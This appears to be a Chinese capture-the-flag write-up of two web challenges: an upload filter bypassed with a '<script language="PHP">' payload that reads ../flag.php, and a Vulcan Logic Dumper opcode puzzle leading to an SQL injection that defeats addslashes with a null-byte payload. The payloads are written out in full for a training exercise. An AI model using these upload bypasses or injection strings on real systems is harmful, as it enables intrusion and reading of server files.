根据提示,可以写一个php文件打开flag.php
<?php $fh=fopen('../flag.php','r'); echo fread($fh,filesize("../flag.php")); fclose($fh); ?>
发现<?php 被过滤掉了,因此可以尝试以js代码的形式执行PHP
<script language="PHP"> $fh=fopen("../flag.".strtolower("PHP"),'r'); echo fread($fh,filesize("../flag.".strtolower("PHP"))); fclose($fh); </script>
上传成功后查看源码。
在写入js代码时,只需要注意不要出现小写字母php就好,因为会被过滤掉。
2.VID
看了一下网页源码
访问index.php.txt
一些什么文件位置,还有文件名称。
百度了一下原始页面出现的那个VID 简单的解释就是PHP在编译运行的时候会借助VID,VID将PHP代码编译为机器语言,然后才能运行。
这道题恶心的地方就在于面对这些VID编码,网上没有任何工具可以将他们翻译成PHP语言,因此只能自己找一张对照表然后翻译一下。
<?php echo 'do you know Vulcan Logic Dumper?<br>'; $a=$_GET['flag1']; $b=$_GET['flag2']; $c=$_GET['flag3']; if($a!='fvhjjihfcv') {echo 'false<br>'; } elseif($b!='gfuyiyhioyf') { echo 'false <br>'; } elseif($c!='yugoiiyhi') { echo 'false <br>'; } else { echo 'the next step is xxx.zip'; } echo '<!-- index.php.txt ?>'; ?>
构造/?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
访问1chunqiu.zip
给了几个PHP文件,审一下这几个文件,发现这一段代码。
password经过md5加密,number只能是纯数字,所以都不存在注入点。但是username虽然经过addslashes()处理(反注入函数),但是又再次被这句代码处理 " $username = trim(str_replace($number, ‘‘, $username)); ",所以我们可以利用这里让单引号被利用。比赛中我在看这4行代码的时候感觉第四行有点多余,因为在第一行已经给出了username的范围,第四行又定义了一遍,因此感觉应该是留下的一个漏洞。
构造number=0&username=%00‘ &password=3
得到了flag。